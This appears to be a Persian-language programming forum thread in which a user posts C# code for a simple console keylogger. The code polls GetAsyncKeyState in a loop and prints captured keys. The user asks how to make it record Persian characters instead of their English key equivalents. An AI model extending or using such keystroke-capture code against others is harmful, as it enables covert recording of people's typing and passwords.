0 امتیاز
سلام من با استفاده از api های user32 یک کی لا-گر ساختم اما متاسفانه کلید های فارسی رو ثبت نمی کنه و معادل انگلیسیشو می نویسه باید چیکار کنم
بسته شده

2 پاسخ

0 امتیاز
 
بهترین پاسخ

ممنون من از این کد استفاده کردم اما متاسفانه فارسی رو حالیش نمی شه یعنی اگه در حالت فارسی هم بنویسم بازم معادل انگلیسیشو می نویسه یعنی اگه دکمه "ب" رو فشار بدم f چاپ می شه

using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {
            StartLogging();
        }
 
        static void StartLogging()
        {
            while (true)
            {
                //sleeping for while, this will reduce load on cpu
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        break;
                    }
                }
            }
        }
    }
}

 

یک راه به ذهنم رسید ایا می شه مثلا زبان فعلی تایپ کامپیوتر رو تشخیص بده و اگه زبانش فارسی بود کلید های فارسی برگردونه ؟

اصلا آیا میشه با (Keys)i)) کاراکتر فارسی برگردوند ؟ یا فقط باید با swich و case بگیم که اگه فارسی بود به جای تک تک حروف مشخص کنیم که برای زبان فارسی کدوم حروف رو ثبت کنه؟

ممنون
توسط (211 امتیاز) 3 9 29
0 امتیاز

 این لینک و این لینک رو مشاهده کنید

امیدوارم مفید باشن

سوال جدید

2,342 سوال

2,871 پاسخ

3,725 دیدگاه

3,963 کاربر

دسته بندی ها

...